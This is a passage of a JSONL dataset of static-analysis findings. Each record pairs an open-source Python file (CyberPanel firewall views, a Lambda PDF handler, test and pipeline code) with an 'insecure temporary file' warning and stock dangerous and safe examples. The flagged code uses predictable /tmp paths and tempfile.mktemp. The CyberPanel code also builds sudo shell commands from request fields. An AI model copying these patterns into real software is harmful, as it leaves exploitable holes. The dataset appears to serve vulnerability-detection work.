msg:\n final_dic = {'fetchStatus': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def enableDisableRuleFile(self, userID = None, data = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('saveStatus', 0)\n\n packName = data['packName']\n fileName = data['fileName']\n currentStatus = data['status']\n\n if currentStatus == True:\n functionName = 'disableRuleFile'\n else:\n functionName = 'enableRuleFile'\n\n execPath = \"/usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/modSec.py\"\n\n execPath = execPath + \" \" + functionName + ' --packName ' + packName + ' --fileName ' + fileName\n\n output = ProcessUtilities.outputExecutioner(execPath)\n\n if output.find(\"1,None\") > -1:\n data_ret = {'saveStatus': 1, 'error_message': \"None\"}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n else:\n data_ret = {'saveStatus': 0, 'error_message': output}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n except BaseException as msg:\n data_ret = {'saveStatus': 0, 'error_message': str(msg)}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n def csf(self):\n try:\n userID = self.request.session['userID']\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadError()\n\n csfInstalled = 1\n try:\n command = 'csf -h'\n output = ProcessUtilities.outputExecutioner(command)\n if output.find(\"command not found\") > -1:\n csfInstalled = 0\n except subprocess.CalledProcessError:\n csfInstalled = 0\n return render(self.request,'firewall/csf.html', {'csfInstalled' : csfInstalled})\n except BaseException as msg:\n return HttpResponse(str(msg))\n\n def installCSF(self):\n try:\n userID = self.request.session['userID']\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('installStatus', 0)\n\n execPath = \"sudo /usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/csf.py\"\n execPath = execPath + \" installCSF\"\n\n ProcessUtilities.popenExecutioner(execPath)\n\n time.sleep(2)\n\n data_ret = {\"installStatus\": 1}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n except BaseException as msg:\n final_dic = {'installStatus': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def installStatusCSF(self):\n try:\n userID = self.request.session['userID']\n currentACL = ACLManager.loadedACL(userID)\n\n installStatus = ProcessUtilities.outputExecutioner(\"sudo cat \" + CSF.installLogPath)\n\n if installStatus.find(\"[200]\")>-1:\n\n command = 'sudo rm -f ' + CSF.installLogPath\n ProcessUtilities.executioner(command)\n\n final_json = json.dumps({\n 'error_message': \"None\",\n 'requestStatus': installStatus,\n 'abort':1,\n 'installed': 1,\n })\n return HttpResponse(final_json)\n elif installStatus.find(\"[404]\") > -1:\n command = 'sudo rm -f ' + CSF.installLogPath\n ProcessUtilities.executioner(command)\n final_json = json.dumps({\n 'abort':1,\n 'installed':0,\n 'error_message': \"None\",\n 'requestStatus': installStatus,\n })\n return HttpResponse(final_json)\n\n else:\n final_json = json.dumps({\n 'abort':0,\n 'error_message': \"None\",\n 'requestStatus': installStatus,\n })\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'abort':1, 'installed':0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def removeCSF(self):\n try:\n userID = self.request.session['userID']\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('installStatus', 0)\n\n execPath = \"sudo /usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/csf.py\"\n execPath = execPath + \" removeCSF\"\n ProcessUtilities.popenExecutioner(execPath)\n\n time.sleep(2)\n\n data_ret = {\"installStatus\": 1}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n except BaseException as msg:\n final_dic = {'installStatus': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def fetchCSFSettings(self):\n try:\n\n userID = self.request.session['userID']\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('fetchStatus', 0)\n\n currentSettings = CSF.fetchCSFSettings()\n\n\n data_ret = {\"fetchStatus\": 1, 'testingMode' : currentSettings['TESTING'],\n 'tcpIN' : currentSettings['tcpIN'],\n 'tcpOUT': currentSettings['tcpOUT'],\n 'udpIN': currentSettings['udpIN'],\n 'udpOUT': currentSettings['udpOUT'],\n 'firewallStatus': currentSettings['firewallStatus']\n }\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n except BaseException as msg:\n final_dic = {'fetchStatus': 0, 'error_message': 'CSF is not installed.'}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def changeStatus(self):\n try:\n userID = self.request.session['userID']\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson()\n\n data = json.loads(self.request.body)\n\n controller = data['controller']\n status = data['status']\n\n execPath = \"sudo /usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/csf.py\"\n execPath = execPath + \" changeStatus --controller \" + controller + \" --status \" + status\n output = ProcessUtilities.outputExecutioner(execPath)\n\n if output.find(\"1,None\") > -1:\n data_ret = {\"status\": 1}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n else:\n data_ret = {'status': 0, 'error_message': output}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n except BaseException as msg:\n final_dic = {'status': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def modifyPorts(self, data = None):\n try:\n\n userID = self.request.session['userID']\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson()\n\n protocol = data['protocol']\n ports = data['ports']\n\n portsPath = '/tmp/ports'\n\n if os.path.exists(portsPath):\n os.remove(portsPath)\n\n writeToFile = open(portsPath, 'w')\n writeToFile.write(ports)\n writeToFile.close()\n\n execPath = \"sudo /usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/csf.py\"\n execPath = execPath + \" modifyPorts --protocol \" + protocol + \" --ports \" + portsPath\n output = ProcessUtilities.outputExecutioner(execPath)\n\n if output.find(\"1,None\") > -1:\n data_ret = {\"status\": 1}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n else:\n data_ret = {'status': 0, 'error_message': output}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n except BaseException as msg:\n final_dic = {'status': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def modifyIPs(self):\n try:\n\n userID = self.request.session['userID']\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson()\n\n data = json.loads(self.request.body)\n\n mode = data['mode']\n ipAddress = data['ipAddress']\n\n if mode == 'allowIP':\n CSF.allowIP(ipAddress)\n elif mode == 'blockIP':\n CSF.blockIP(ipAddress)\n\n data_ret = {\"status\": 1}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n except BaseException as msg:\n final_dic = {'status': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def imunify(self):\n try:\n userID = self.request.session['userID']\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadError()\n\n ipFile = \"/etc/cyberpanel/machineIP\"\n f = open(ipFile)\n ipData = f.read()\n ipAddress = ipData.split('\\n', 1)[0]\n\n data = {}\n data['ipAddress'] = ipAddress\n\n if os.path.exists(FirewallManager.CLPath):\n data['CL'] = 1\n else:\n data['CL'] = 0\n\n if os.path.exists(FirewallManager.imunifyPath):\n data['imunify'] = 1\n else:\n data['imunify'] = 0\n\n if data['CL'] == 0:\n return render(self.request, 'firewall/notAvailable.html', data)\n elif data['imunify'] == 0:\n return render(self.request, 'firewall/notAvailable.html', data)\n else:\n return render(self.request, 'firewall/imunify.html', data)\n\n\n except BaseException as msg:\n return HttpResponse(str(msg))\n\n def submitinstallImunify(self):\n try:\n userID = self.request.session['userID']\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n logging.CyberCPLogFileWriter.statusWriter(ServerStatusUtil.lswsInstallStatusPath,\n 'Not authorized to install container packages. [404].',\n 1)\n return 0\n\n data = json.loads(self.request.body)\n\n execPath = \"/usr/local/CyberCP/bin/python /usr/local/CyberCP/CLManager/CageFS.py\"\n execPath = execPath + \" --function submitinstallImunify --key %s\" % (data['key'])\n ProcessUtilities.popenExecutioner(execPath)\n\n data_ret = {'status': 1, 'error_message': 'None'}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n except BaseException as msg:\n logging.CyberCPLogFileWriter.statusWriter(ServerStatusUtil.lswsInstallStatusPath, str(msg) + ' [404].', 1)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 1497, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "8c52867dd86f03da46d5f849d3159e0f9731b0666ce9bccfc3aeb254822ec58c", "license": {"spdx": ["Apache-2.0"], "repo": "dgilmanAIDENTIFIED/juniper", "path": "examples/htmltopdf/lambda_function.py", "repo_head_hexsha": "81452cb86863340e9f7dd57ccd1cf69881b6e9a9", "stack_hexsha": "21cae347bb461a852e4405ed6113ca1a0a2ae37e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 10, "entireCode": "import pdfkit\nimport boto3\n\ns3 = boto3.client('s3')\n\n\ndef lambda_handler(event, context):\n pdfkit.from_url('http://google.com', '/tmp/out.pdf')\n\n with open('/tmp/out.pdf', 'rb') as f:\n response = s3.put_object(\n Bucket='temp-awseabsgddev',\n Key='juni/google.pdf',\n Body=f.read()\n )\n\n return {'response': response}", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 10, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "6a2b795cb6c6cea1b2618b20e00e55f97be79967eb8a1b26e2d078cbf4b38ae8", "license": {"spdx": ["MIT"], "repo": "tonouchi510/kfp-project", "path": "pipelines/head-pose-dataset-pipeline/data-chunk-spliter/main.py", "repo_head_hexsha": "67b78ae53cc3de594b8254999a4f553a8d5cec27", "stack_hexsha": "25a949c22437a642b924c26eebc537b68bb644d1", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 66, "entireCode": "import json\nimport hashlib\nfrom absl import app\nfrom absl import flags\nfrom google.cloud import storage\n\nFLAGS = flags.FLAGS\nflags.DEFINE_string(\n \"pipeline\", None,\n \"Name of pipeline\")\n\nflags.DEFINE_string(\n \"job_id\", \"test\",\n \"ID for job management.\")\n\nflags.DEFINE_string(\n \"bucket_name\", \"\",\n \"GCS bucket name\")\n\nflags.DEFINE_string(\n \"dataset\", None,\n \"Directory where dataset is stored.\")\n\nflags.DEFINE_integer(\n \"chunk_size\", 1000,\n \"Num of files by tfrecord.\")\n\n\ndef main(argv):\n if len(argv) > 1:\n raise app.UsageError('Too many command-line arguments.')\n \n if not FLAGS.dataset:\n raise ValueError(\"dataset param is not nullable.\")\n\n job_dir = f\"tmp/{FLAGS.pipeline}/{FLAGS.job_id}/data-chunk-spliter\"\n\n client = storage.Client()\n bucket = client.bucket(FLAGS.bucket_name)\n\n prefix = FLAGS.dataset.replace(f\"gs://{FLAGS.bucket_name}/\", \"\")\n blobs = bucket.list_blobs(prefix=prefix)\n files = []\n for b in blobs:\n files.append(b.name)\n n_files = len(files)\n\n i = 0\n chunk_files = []\n while i < n_files:\n targets = []\n j = 0\n while (i + j) < n_files and j < FLAGS.chunk_size:\n targets.append(files[i + j])\n j += 1\n f_number: str = hashlib.md5(str(targets[0:5]).encode()).hexdigest()\n chunk_file = f\"chunk_{f_number}.txt\"\n with open(chunk_file, \"w\") as f:\n for id in targets:\n f.write(\"%s\\n\" % id)\n blob = bucket.blob(f\"{job_dir}/{chunk_file}\")\n blob.upload_from_filename(chunk_file)\n chunk_files.append(f\"{job_dir}/{chunk_file}\")\n i += j\n\n with open(\"/tmp/out.json\", \"w\") as f:\n json.dump(chunk_files, f, indent=4)\n\n\nif __name__ == '__main__':\n app.run(main)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 66, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "b6dd3ebd3980eaacba7f390fb37116458ccb50f7dc2715ea8b72e061c18f4350", "license": {"spdx": ["BSD-3-Clause"], "repo": "ScottyB/surround", "path": "surround/tests/experiment_reader_test.py", "repo_head_hexsha": "f9a86f5b5677de7bd5763d26de4a6f18c36f2a4d", "stack_hexsha": "e2280586bc7cd2b0488f23077c0f84da82148064", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 32, "entireCode": "import os\nimport re\nimport unittest\nimport shutil\nimport subprocess\nimport logging\nimport zipfile\n\nfrom io import BytesIO\n\nfrom ..experiment.file_storage_driver import FileStorageDriver\nfrom ..experiment.experiment_reader import ExperimentReader\nfrom ..experiment.experiment_writer import ExperimentWriter\n\nclass ExperimentReaderTest(unittest.TestCase):\n def setUp(self):\n writer = ExperimentWriter(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n writer.write_project(\"test_project\", \"test_description\")\n writer.write_project(\"test_project_two\", \"test_description_2\")\n\n process = subprocess.Popen(['surround', 'init', '-p', 'test_project', '-d', 'test_description', '-w', 'no'], cwd=\"temporary\", stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n process.wait()\n process.stdout.close()\n process.stderr.close()\n\n process = subprocess.Popen(['surround', 'init', '-p', 'test_project_two', '-d', 'test_description', '-w', 'no'], cwd=\"temporary\", stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n process.wait()\n process.stdout.close()\n process.stderr.close()\n\n os.makedirs(os.path.join(\"temporary\", \"test_project\", \"models\"))\n with open(\"temporary/test_project/models/test.model\", \"w+\") as f:\n f.write(\"WEIGHTS\")\n\n os.makedirs(os.path.join(\"temporary\", \"test_project_two\", \"models\"))\n with open(\"temporary/test_project_two/models/test.model\", \"w+\") as f:\n f.write(\"WEIGHTS\")\n\n writer.start_experiment(\"test_project\", \"temporary/test_project\", args={'mode': 'batch'}, notes=['test', 'note'])\n logging.info(\"test_log\")\n writer.stop_experiment(metrics={'test_metric': 0.1})\n\n writer.start_experiment(\"test_project\", \"temporary/test_project\", args={'mode': 'batch'}, notes=['test', 'note'])\n logging.info(\"test_log\")\n writer.stop_experiment(metrics={'test_metric': 0.2})\n\n writer.start_experiment(\"test_project_two\", \"temporary/test_project_two\", args={'mode': 'batch'}, notes=['test', 'note'])\n logging.info(\"test_log\")\n writer.stop_experiment(metrics={'test_metric': 0.2})\n\n writer.start_experiment(\"test_project_two\", \"temporary/test_project_two\", args={'mode': 'batch'}, notes=['test', 'note'])\n writer.stop_experiment(metrics={'test_metric': 0.3})\n\n self.folder_names = os.listdir(\"temporary/experiments/experimentation/test_project/experiments\")\n self.folder_names_2 = os.listdir(\"temporary/experiments/experimentation/test_project_two/experiments\")\n\n self.folder_names = sorted(self.folder_names)\n self.folder_names_2 = sorted(self.folder_names_2)\n\n def tearDown(self):\n shutil.rmtree(\"temporary\")\n\n def test_get_projects(self):\n reader = ExperimentReader(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n projects = reader.get_projects()\n\n self.assertIsInstance(projects, list)\n\n expected_names = [\"test_project\", \"test_project_two\"]\n expected_descs = [\"test_description\", \"test_description_2\"]\n\n for proj in projects:\n self.assertIn(\"project_name\", proj)\n self.assertIn(\"project_description\", proj)\n self.assertIn(\"last_time_updated\", proj)\n self.assertIn(proj['project_name'], expected_names)\n self.assertIn(proj['project_description'], expected_descs)\n self.assertRegex(proj['last_time_updated'], r\"^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}\\.[0-9]{6}$\")\n\n def test_get_project(self):\n reader = ExperimentReader(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n\n project = reader.get_project(\"test_project\")\n self.assertEqual(\"test_project\", project[\"project_name\"])\n self.assertEqual(\"test_description\", project[\"project_description\"])\n self.assertRegex(project['last_time_updated'], r\"^[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}:[0-9]{2}\\.[0-9]{6}$\")\n\n project = reader.get_project(\"doesnt exist\")\n self.assertIsNone(project)\n\n def test_has_project(self):\n reader = ExperimentReader(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n\n self.assertTrue(reader.has_project(\"test_project\"))\n self.assertTrue(reader.has_project(\"test_project_two\"))\n self.assertFalse(reader.has_project(\"non-exist\"))\n\n def test_get_experiment(self):\n reader = ExperimentReader(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n\n exp = reader.get_experiment(\"test_project\", self.folder_names[0])\n\n self.assertIn(\"execution_info\", exp)\n self.assertIn(\"logs\", exp)\n self.assertIn(\"results\", exp)\n\n self.assertEqual(exp[\"execution_info\"][\"start_time\"], self.folder_names[0])\n self.assertIn(\"INFO:root:test_log\", exp[\"logs\"][0])\n self.assertEqual(exp[\"results\"][\"start_time\"], self.folder_names[0])\n\n def test_get_experiments(self):\n reader = ExperimentReader(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n\n exps = reader.get_experiments(\"test_project\")\n\n for exp in exps:\n self.assertIn(exp['execution_info']['start_time'], self.folder_names + self.folder_names_2)\n self.assertIn(\"INFO:root:test_log\", exp[\"logs\"][0])\n self.assertIn(exp['results']['start_time'], self.folder_names + self.folder_names_2)\n\n def test_has_experiment(self):\n reader = ExperimentReader(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n\n for name in self.folder_names:\n self.assertTrue(reader.has_experiment(\"test_project\", name))\n\n for name in self.folder_names_2:\n self.assertTrue(reader.has_experiment(\"test_project_two\", name))\n\n self.assertFalse(reader.has_experiment(\"non-exist\", \"non-exists\"))\n self.assertFalse(reader.has_experiment(\"test_project\", \"non-exists\"))\n self.assertFalse(reader.has_experiment(\"test_project_two\", \"non-exists\"))\n\n def test_get_experiment_files(self):\n reader = ExperimentReader(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n\n expected_files = [\n \"code.zip\",\n \"results.json\",\n \"execution_info.json\",\n \"log.txt\"\n ]\n\n for name in self.folder_names:\n files = reader.get_experiment_files(\"test_project\", name)\n for f in expected_files:\n self.assertIn(f, files)\n\n for name in self.folder_names_2:\n files = reader.get_experiment_files(\"test_project_two\", name)\n for f in expected_files:\n self.assertIn(f, files)\n\n def test_get_cache_files(self):\n reader = ExperimentReader(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n\n files = reader.get_project_cache(\"test_project\")\n\n for f in files:\n self.assertRegex(f, r\"^model-[T0-9\\-]{26}-[a-z0-9]+\\.zip$\")\n\n def test_pull_experiment_files(self):\n reader = ExperimentReader(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n\n log = reader.pull_experiment_file(\"test_project\", self.folder_names[0], \"log.txt\")\n self.assertIsNotNone(log)\n\n log = log.decode('utf-8')\n self.assertIn(\"INFO:root:test_log\", log.rstrip())\n\n log = reader.pull_experiment_file(\"test_project_two\", self.folder_names_2[0], \"log.txt\")\n self.assertIsNotNone(log)\n\n log = log.decode('utf-8')\n self.assertIn(\"INFO:root:test_log\", log.rstrip())\n\n def test_pull_cache_files(self):\n reader = ExperimentReader(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n\n cache_files = reader.get_project_cache(\"test_project\")\n self.assertGreater(len(cache_files), 0)\n\n model = reader.pull_cache_file(\"test_project\", cache_files[0])\n self.assertIsNotNone(model)\n\n with open(\"temporary/model.zip\", \"wb+\") as f:\n f.write(model)\n\n with zipfile.ZipFile(\"temporary/model.zip\", \"r\") as f:\n model_file = f.read(\"models/test.model\")\n model_file = model_file.decode('utf-8')\n self.assertEqual(\"WEIGHTS\", model_file)\n\n def test_pull_model(self):\n reader = ExperimentReader(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n\n cache_files = reader.get_project_cache(\"test_project\")\n self.assertGreater(len(cache_files), 0)\n self.assertRegex(cache_files[0], r\"^model.+-(.+)\\.zip$\")\n\n expected_file = reader.pull_cache_file(\"test_project\", cache_files[0])\n\n model_hash = re.match(r\"^model.+-(.+)\\.zip$\", cache_files[0]).group(1)\n pulled_file = reader.pull_model(\"test_project\", model_hash)\n\n self.assertIsNotNone(pulled_file)\n self.assertEqual(expected_file, pulled_file)\n\n def test_replicate_file(self):\n reader = ExperimentReader(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n\n output = reader.replicate(\"test_project\", self.folder_names[0], file_path=\"temporary/replication\")\n self.assertEqual(output, \"temporary/replication\")\n\n expected_files = [\n '.surround',\n 'models/test.model',\n 'test_project/',\n 'test_project/stages/baseline.py',\n 'dodo.py',\n ]\n\n self.assertTrue(os.path.exists(\"temporary/replication\"))\n\n for expected in expected_files:\n self.assertTrue(os.path.exists(os.path.join(\"temporary/replication\", expected)))\n\n with open(\"temporary/replication/models/test.model\", \"r\") as f:\n self.assertEqual(\"WEIGHTS\", f.read())\n\n def test_replicate_zip(self):\n reader = ExperimentReader(storage_url=\"temporary/experiments\", storage_driver=FileStorageDriver)\n\n output_zip = reader.replicate(\"test_project\", self.folder_names[0])\n output_zip = BytesIO(output_zip)\n\n self.assertIsNotNone(output_zip)\n\n expected_files = [\n '.surround/config.yaml',\n 'models/test.model',\n 'test_project/__main__.py',\n 'test_project/stages/baseline.py',\n 'dodo.py',\n ]\n\n with zipfile.ZipFile(output_zip, \"r\") as f:\n for expected in expected_files:\n self.assertIn(expected, f.namelist())", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 32, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "8b394c9a1914a7d80022e0ddffb35837827b6750b6e3a94799d68f29dab77842", "license": {"spdx": ["MIT"], "repo": "gitter-badger/soap", "path": "soap/flopoco/common.py", "repo_head_hexsha": "4f5eb7848e4dc516a6ff972db5c8c46ec9037c47", "stack_hexsha": "b36d5099ac12b98b41d1f637481fe1af850d8737", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 85, "entireCode": "import math\nimport os\nimport tempfile\nfrom contextlib import contextmanager\n\nfrom soap import logger\nfrom soap.common.cache import cached\nfrom soap.expression import operators, OutputVariableTuple\nfrom soap.semantics.error import IntegerInterval, ErrorSemantics\n\n\nflopoco_command_map = {\n 'IntAdder': ('{wi}', ),\n 'IntMultiplier': ('{wi}', '{wi}', '{wi}', '1', '1', '0'),\n 'FPAdder': ('{we}', '{wf}'),\n 'FPMultiplier': ('{we}', '{wf}', '{wf}'),\n 'FPSquarer': ('{we}', '{wf}', '{wf}'),\n 'FPDiv': ('{we}', '{wf}'),\n 'FPPow': ('{we}', '{wf}'),\n 'FPExp': ('{we}', '{wf}'),\n 'FPLog': ('{we}', '{wf}', '0'),\n}\nflopoco_operators = tuple(flopoco_command_map)\noperators_map = {\n operators.ADD_OP: ['FPAdder', 'IntAdder'],\n operators.SUBTRACT_OP: ['FPAdder', 'IntAdder'],\n operators.MULTIPLY_OP: ['FPMultiplier', 'IntMultiplier'],\n operators.DIVIDE_OP: 'FPDiv',\n operators.LESS_OP: ['FPAdder', 'IntAdder'],\n operators.LESS_EQUAL_OP: ['FPAdder', 'IntAdder'],\n operators.GREATER_OP: ['FPAdder', 'IntAdder'],\n operators.GREATER_EQUAL_OP: ['FPAdder', 'IntAdder'],\n operators.EQUAL_OP: ['FPAdder', 'IntAdder'],\n operators.NOT_EQUAL_OP: ['FPAdder', 'IntAdder'],\n operators.TERNARY_SELECT_OP: 'Multiplexer',\n operators.FIXPOINT_OP: 'Null',\n operators.UNARY_SUBTRACT_OP: 'OneLUT',\n}\n\nwe_min, we_max = 5, 15\nwe_range = list(range(we_min, we_max + 1))\n\nwf_min, wf_max = 10, 112\nwf_range = list(range(wf_min, wf_max + 1))\n\nwi_min, wi_max = 1, 100\nwi_range = list(range(wi_min, wi_max + 1))\n\ndirectory = os.path.dirname(__file__)\ndefault_file = os.path.join(directory, 'luts.pkl')\ntemplate_file = os.path.join(directory, 'template.vhdl')\n\ndevice_name = 'Virtex6'\ndevice_model = 'xc6vlx760'\n\n\n@contextmanager\ndef cd(d):\n import sh\n p = os.path.abspath(os.curdir)\n if d:\n sh.mkdir('-p', d)\n sh.cd(d)\n try:\n yield\n except Exception:\n raise\n finally:\n sh.cd(p)\n\n\ndef flopoco_key(fop, we=-1, wf=-1, wi=-1):\n try:\n format_tuple = flopoco_command_map[fop]\n except KeyError:\n raise ValueError('Unrecognised operator {}'.format(fop))\n args = [fop]\n args += [a.format(we=we, wf=wf, wi=wi) for a in format_tuple]\n return tuple(args)\n\n\ndef flopoco(key, file_name=None, dir_name=None):\n import sh\n\n file_name = file_name or tempfile.mktemp(suffix='.vhdl', dir='')\n cmd = ('-target=' + device_name, '-outputfile=' + file_name) + key\n logger.debug('flopoco: {!r}'.format(cmd))\n\n dir_name = dir_name or tempfile.mktemp(suffix='/')\n\n with cd(dir_name):\n sh.flopoco(*cmd)\n try:\n with open(file_name) as fh:\n if not fh.read():\n raise IOError()\n except (IOError, FileNotFoundError):\n logger.error('Flopoco failed to generate file ' + file_name)\n raise\n\n return file_name, dir_name\n\n\ndef get_luts(file_name):\n from bs4 import BeautifulSoup\n with open(file_name, 'r') as f:\n f = BeautifulSoup(f.read())\n app = f.document.application\n util = app.find('section', stringid='XST_DEVICE_UTILIZATION_SUMMARY')\n luts = util.find('item', stringid='XST_NUMBER_OF_SLICE_LUTS')\n if luts:\n return int(luts.get('value'))\n logger.warning('{} requires no LUTs'.format(file_name))\n return 0\n\n\ndef xilinx(file_name, dir_name=None):\n import sh\n\n file_base = os.path.split(file_name)[1]\n file_base = os.path.splitext(file_base)[0]\n synth_name = file_base + '.ngc'\n\n cmd = ['run', '-p', device_model]\n cmd += ['-ifn', file_name, '-ifmt', 'VHDL']\n cmd += ['-ofn', synth_name, '-ofmt', 'NGC']\n logger.debug('xst: {!r}'.format(cmd))\n\n dir_name = dir_name or tempfile.mktemp(suffix='/')\n with cd(dir_name):\n out_file_name = file_base + '.out.log'\n err_file_name = file_base + '.err.log'\n\n sh.xst(sh.echo(*cmd), _out=out_file_name, _err=err_file_name)\n\n return get_luts(file_base + '.ngc_xst.xrpt')\n\n\n_FILTER_OPERATORS = operators.TRADITIONAL_OPERATORS + [\n operators.TERNARY_SELECT_OP\n]\n\n\n@cached\ndef _datatype_exponent(op, label):\n if isinstance(label, OutputVariableTuple):\n exponent = 0\n for l in label:\n label_datatype, label_exponent = _datatype_exponent(op, 